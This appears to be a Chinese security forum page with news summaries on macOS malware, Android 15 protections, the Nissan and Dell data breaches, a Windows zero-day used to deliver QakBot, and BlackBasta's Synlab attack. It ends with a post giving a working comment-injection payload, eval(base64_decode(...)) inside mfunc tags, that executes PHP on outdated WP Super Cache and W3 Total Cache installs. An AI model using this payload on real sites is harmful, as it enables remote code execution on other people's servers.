2024 常见 macOS 恶意软件洞察：勒索软件、木马仍占主导地位
IT之家 5 月 20 日消息，网络安全公司 Sentinal One 的安全研究员兼博主 Phil Stokes 于 5 月 11 日发布博文，统计了今年 1-5 月针对苹果 macOS 系统的恶意软件数量，发现勒索软件、木马和后门程序仍然占据主导地位。其中 Atomic Stealer（AMOS）最为猖獗，这是 2023 年初发现的一种广泛存在的信息窃取恶意软件。用户一旦在 ...
Android 15、Google Play 保护机制获得新的反恶意软件和反欺诈功能
2024年5月15日，谷歌宣布 Android 15 和 Google Play Protect 将推出新的安全功能，这将有助于阻止用户设备上的诈骗、欺诈和恶意软件应用程序。在 Google I/O 2024 上宣布的新功能不仅旨在帮助最终用户，还旨在在开发人员的应用程序被篡改时发出警告。“今天，我们宣布今年晚些时候将在 Android 15 和 Google Play 服务更新 ...
日产北美数据泄露影响了超过 53,000 名员工
日产北美公司（Nissan）去年遭受了数据泄露，当时威胁行为者瞄准了该公司的外部VPN并关闭了系统以收取赎金。该汽车制造商于 2023 年 11 月初发现了该漏洞，最近发现该事件暴露了属于 53,000 多名现任和前任员工的个人数据。“正如在 2023 年 12 月 5 日的日产市政厅会议上分享的那样，日产于 2023 年 11 月 7 日获悉，它是 ...
微软修复了 QakBot 恶意软件攻击中利用的 Windows 零日漏洞
微软修复了一个在攻击中利用的零日漏洞，以在易受攻击的 Windows 系统上提供 QakBot 和其他恶意软件有效负载。此权限提升错误被跟踪为 CVE-2024-30051，是由 DWM（桌面窗口管理器）核心库中基于堆的缓冲区溢出引起的。成功利用此漏洞后，攻击者可以获得SYSTEM权限。桌面窗口管理器是 Windows Vista 中引入的一项 Windows 服 ...
影响 4900 万客户，戴尔通知发生数据泄露：涉及姓名等订单信息
5 月 10 日消息，戴尔公司昨日通过电子邮件方式通知用户，表示其个人信息可能已经泄露，推荐用户尽快更改，以保护个人隐私和财产。戴尔随后发布声明：“我们正在调查一起数据泄露事件，本次事件泄露的数据库中可能涉及你的购买记录，不过考虑到所涉及的信息类型，不会对我们的客户产生重大风险影响”。黑客声称窃取了大约 4 ...
BlackBasta 声称遭受 Synlab 攻击并泄露了一些被盗文件
BlackBasta 勒索软件/网络勒索团伙是最近发生的网络攻击的幕后黑手，该攻击导致 Synlab Italia 的运营暂时关闭。Synlab勒索软件攻击该组织声称周六其泄密网站遭到了攻击，并表示他们已经泄露了大约 1.5 TB 的公司和客户数据、员工的个人文件以及客户的医疗检查结果。该组织威胁称，如果在 5 月 11 日之前不支付赎金，他们将 ...
为什么没人发这个？Wordpress W3 Total Cache PHP Code Execution
针对以下两个插件都有效WP Super Cache (version 1.2 and below, version 1.3.x and up are OK)W3 Total Cache (version 0.9.2.8 and below, version 0.9.2.9 is OK)在任意帖子处评论[code]<!--mfunc eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc-->[/code]就执行了php，phpinfo（）;
T00ls.Com版权所有。T00ls所有原创文章未经管理团队许可，禁止一切形式的转载。
Copyright © 2008 - 2024 T00ls All Rights Reserved.